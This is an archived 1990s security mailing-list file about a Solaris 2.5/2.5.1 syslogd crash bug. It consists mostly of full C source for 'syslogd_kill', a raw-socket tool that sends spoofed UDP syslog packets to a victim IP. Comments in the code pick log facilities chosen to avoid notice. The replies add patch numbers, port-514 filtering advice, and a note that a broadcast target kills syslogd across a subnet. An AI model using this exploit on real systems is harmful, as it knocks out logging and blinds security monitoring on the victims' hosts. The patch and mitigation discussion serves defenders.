home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hoobie / sol_syslog.txt < prev    next >
Encoding:
Text File  |  2001-11-06  |  9.0 KB  |  261 lines

  1.  
  2.   It seems that I've stumbled upon a bug which must have been discovered
  3. but never disclosed, I find it hard to believe noone has found this.  After
  4. searching the bugtraq archives and the publicly available patches from
  5. Sun I am still under the impression that this hasn't been released until
  6. now.
  7.  
  8.   When Solaris syslogd receives an external message it attempts to do
  9. a DNS lookup on the source IP.  Many times, if this IP doesn't match a
  10. DNS record then syslogd will crash with a Seg Fault.  I have not had
  11. time to diagnose completely how dangerous this is, as I didn't feel like
  12. spending time debugging DNS packets, but at the very least it will disable
  13. logging on the target machine.  It also turns out that depending on the
  14. source IP, syslogd will either Seg Fault or Bus Error which leads me
  15. to believe this could be most harmful.
  16.  
  17.   This has been tested on Solaris 2.5 and 2.5.1 for both Sparc and x86 with
  18. full patches.  Solaris 2.6 Sparc does not appear to be vulnerable.
  19.  
  20.   The only solution at the moment (because I know of no way to disable
  21. remote logging under Solaris) is to filter off udp port 514 whenever
  22. possible and perhaps to respawn syslogd from inittab.
  23.  
  24.   If this is an old bug, well the patch shoulda been included in Sun's
  25. recommended security patches.  If not, as it says, your milage may vary.
  26.  
  27.   (Is there anyone left who isn't a security consultant?)
  28.  
  29. /*------------------------*/
  30. /*
  31.  
  32.   To effectively kill a Solaris<2.6 syslogd use in the following manner:
  33.  
  34.   ./syslogd_kill <ip-with-no-DNS> <victim IP>
  35.  
  36.   My favorite is the 10.20.10.1 IP as this was the first IP I found which
  37. killed syslogd and hasn't failed to work yet.  Then again, I haven't found
  38. a Solaris box that wasn't 2.6 that this hasn't worked on.  Let me know
  39. what you find.
  40.  
  41.   Sorry if any credits were deleted, I really didn't know I was gonna
  42. distribute this.  This is the syslog_spoof code that was posted to
  43. bugtraq a few weeks back, but modified to work with BSD and Solaris.
  44.  
  45. To compile under Solaris use:  cc -lnsl -lsocket syslogd_kill.c
  46.  
  47. This code has been tested only under Solaris and FreeBSD 3.0.
  48. If it doesn't work under Linux, just go get the old Linux code off
  49. a bugtraq archive.
  50.  
  51.                         lb@inext.net
  52. */
  53.  
  54. /*
  55. [NOTE: This may not apply anymore, I don't touch Linux. - lb]
  56.  
  57. The code compiles and works under Linux.  Any Unix that has
  58. SOCK_RAW/IPPROTO_RAW should be no problem (you may need to use BSD-style
  59. struct ip though).  It may use few improvements, like checking for possible
  60. ICMP Port Unreachable errors in case the remote machine doesn't run syslogd
  61. with remote reception turned on.
  62. */
  63.  
  64. #include <stdio.h>
  65. #include <stdlib.h>
  66. #include <syslog.h>
  67.  
  68. #include <sys/types.h>
  69. #include <sys/socket.h>
  70. #include <netinet/in.h>
  71. #include <arpa/inet.h>
  72. #include <netdb.h>
  73. #include <string.h>
  74. #include <unistd.h>
  75. #include <signal.h>
  76. #include <errno.h>
  77. #include <netinet/in_systm.h>
  78. #include <netinet/tcp.h>
  79. #include <netinet/ip.h>
  80. #include <netinet/udp.h>
  81. #include <netinet/ip_var.h>
  82. #include <netinet/tcpip.h>
  83.  
  84. #define IPVERSION       4
  85.  
  86. /* This is the stuff that actually gets sent.  Feel free to change it */
  87. #define MESSAGE_FAC LOG_LOCAL7
  88. /* I use LOCAL7 because it is probably not caught as often  - lb */
  89. #define MESSAGE_PRI LOG_DEBUG
  90. /* Debug is especially unlikely to be caught - lb*/
  91. char message[] = {""};  /* This is the message which would have been */
  92.                         /* spoofed and is still received by syslog before */
  93.                         /* it dies.. so I made it empty. - lb */
  94.  
  95. struct raw_pkt_hdr {
  96.         struct ip iphdr;
  97.         struct udphdr udp;
  98. };
  99.  
  100. struct raw_pkt_hdr* pkt;
  101.  
  102. void die(char *);
  103. unsigned short checksum(unsigned short*,char);
  104.  
  105. int main(int argc,char** argv){
  106.  
  107. struct sockaddr_in sa;
  108. struct sockaddr_in sa2;
  109. int sock,packet_len;
  110. char usage[] = {"\
  111.   syslog_deluxe, yuri volobuev'97\n\
  112.   modded by lb Oct97\n\
  113.   make syslog look the way you want, here there and everywhere\n\n\
  114. \t usage: syslog_deluxe src_hostname dst_hostname\n\n\
  115. \t to kill syslogd: syslog_deluxe <IP-with-no-DNS> <victim IP>\n\n"};
  116.  
  117. static int on = 1;
  118.  
  119. if(argc != 3)die(usage);
  120.  
  121. bzero((struct sockaddr_in *)&sa, sizeof(sa));
  122. bzero((struct sockaddr_in *)&sa2, sizeof(sa2));
  123.  
  124. if( (sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0){
  125.         perror("socket");
  126.         exit(1);
  127.         }
  128.  
  129. sa.sin_family = AF_INET;
  130. sa.sin_addr.s_addr = inet_addr(argv[2]);
  131. sa2.sin_family = AF_INET;
  132. sa2.sin_addr.s_addr = inet_addr(argv[1]);
  133.  
  134. packet_len = sizeof(struct raw_pkt_hdr)+strlen(message)+4;
  135. pkt = calloc((size_t)1,(size_t)packet_len);
  136.  
  137. pkt->iphdr.ip_v = IPVERSION;
  138. pkt->iphdr.ip_hl = 0x5;
  139. pkt->iphdr.ip_len = packet_len;
  140. pkt->iphdr.ip_ttl = 0x40;
  141. pkt->iphdr.ip_p = IPPROTO_UDP;
  142. pkt->iphdr.ip_sum = 0;
  143.  
  144. pkt->iphdr.ip_src.s_addr = sa2.sin_addr.s_addr;
  145. pkt->iphdr.ip_dst.s_addr = sa.sin_addr.s_addr;
  146.  
  147. pkt->iphdr.ip_sum = checksum((unsigned short*)pkt,sizeof(struct ip));
  148.  
  149. pkt->udp.uh_sport = htons(514);
  150. pkt->udp.uh_dport = htons(514);
  151. pkt->udp.uh_ulen = htons(packet_len - sizeof(struct ip));
  152. pkt->udp.uh_sum = 0;  /* If you feel like screwing around with pseudo-headers
  153.                         and stuff, you may of course calculate UDP checksum
  154.                         as well.  I chose to leave it zero, it's usually OK */
  155.  
  156. sprintf((char*)pkt+sizeof(struct raw_pkt_hdr),"<%d>%s",
  157.         (int)(MESSAGE_FAC | MESSAGE_PRI),message);
  158.  
  159. if (setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on)) < 0) {
  160.         perror("setsockopt: IP_HDRINCL");
  161.         exit(1);
  162.         }
  163.  
  164. if(sendto(sock,(char *)&pkt->iphdr,packet_len,(int)NULL,(struct sockaddr*)&sa,sizeof(sa)) < 0){
  165.         perror("sendto");
  166.         exit(1);
  167.         }
  168. exit(0);
  169. }
  170.  
  171. void die(char* str){
  172. fprintf(stderr,"%s\n",str);
  173. exit(1);
  174. }
  175.  
  176. unsigned short checksum(unsigned short* addr,char len){
  177. /* This is a simplified version that expects even number of bytes */
  178. register long sum = 0;
  179.  
  180. while(len > 1){
  181.         sum += *addr++;
  182.         len -= 2;
  183.         }
  184. while (sum>>16) sum = (sum & 0xffff) + (sum >> 16);
  185.  
  186. return ~sum;
  187. }
  188.  
  189.  
  190.  
  191.  
  192. -----------------------------------------------------------------------
  193.  
  194. We've run into the same issue, and Sun has known about it since April.
  195. There is a patch, 103738-04, which fixes this (and other) problems.
  196. It is **NOT** a recommended or a security patch, nor is it available
  197. from the public area of sunsolve.  It clearly should be.
  198.  
  199. There are many installations where syslogd is a critical part of the
  200. security/monitoring infrastructure.  There are even some where REMOTE
  201. syslogging is critical.  It is a terrible choice, but many times the
  202. only one available.  I'd recommend using Paul Vixie's syslogd, or at
  203. least filtering 514/udp.  It won't solve syslogd's spoofing problems,
  204. but at least messages won't disappear.
  205.  
  206. -----------------------------------------------------------------------
  207.  
  208.   I got alot of responses about the syslogd killing, which mostly
  209. affirmed by belief that the bug had been noticed before.  Sun seems to
  210. have attributed the bug to "LOCAL" facility syslog traffic loads causing
  211. syslogd to die.  I've tried using LOG_AUTH and most of the syslog
  212. facilities and they all seem to cause syslogd to crash.  There was a
  213. patch released by Sun to solve the "LOCAL" problem, but it doesn't seem
  214. to be publicly available so I can't test it.
  215.  
  216.   Also, alot of people are under the impression that this has nothing
  217. to do with DNS.  I tried it many times to make sure, because it seemed
  218. exploitable to me.. I would watch the syslog message come in, watch
  219. the DNS query go out, and then watch syslogd die.  If I inserted a DNS
  220. entry for the IP in question, syslogd would query and work fine.. if I
  221. removed the DNS entry again, syslogd would crash.  Perhaps you're right..
  222. but I'll stick to my assumption.  hoho.
  223.  
  224.   If anyone knows where I could get that patch, and it's publicly
  225. available.. then please let me know.. If anything, this should be included
  226. in the Solaris 2.5.1 and 2.5 Recommended patch set..
  227.  
  228.                                 lb@inext.net
  229.  
  230. -----------------------------------------------------------------------
  231.  
  232. > I don't know if the following patches are available from Sun without
  233. > a support contract, but they fix the problem lb is describing:
  234. >
  235. >   for Solaris 2.5 SPARC:    103291-02
  236. >   for Solaris 2.5.1 SPARC:  103738-04  (fix was actually made in 103738-01)
  237. >                     x86:    103739-05  (fix was actually made in 103739-01)
  238.  
  239. They don't appear to be publically available via SunSolve Online, but
  240. are available from this unofficial SunOS patch repository.
  241.  
  242. ftp://qiclab.scn.rain.com/pub/sunos-patches/sol25/
  243. ftp://qiclab.scn.rain.com/pub/sunos-patches/sol251/
  244. ftp://qiclab.scn.rain.com/pub/sunos-patches/sol251_x86/
  245.  
  246.  
  247. -----------------------------------------------------------------------
  248.  
  249. >  ./syslogd_kill <ip-with-no-DNS> <victim IP>
  250.  
  251. Kind of wild if you feed it a subnet broadcast address as the <victim IP>.
  252.  
  253. I wouldn't try that lightly if you don't have access to restart
  254. all the dead syslogd's on all Solaris boxes on that wire.
  255.  
  256. At least that's what happened to me running 2.5.1 and 2.5 with
  257. various patch revs, but none with 103738-04.
  258.  
  259. Excuse me, I have to restart a few syslogd's and apply some patches.
  260.  
  261.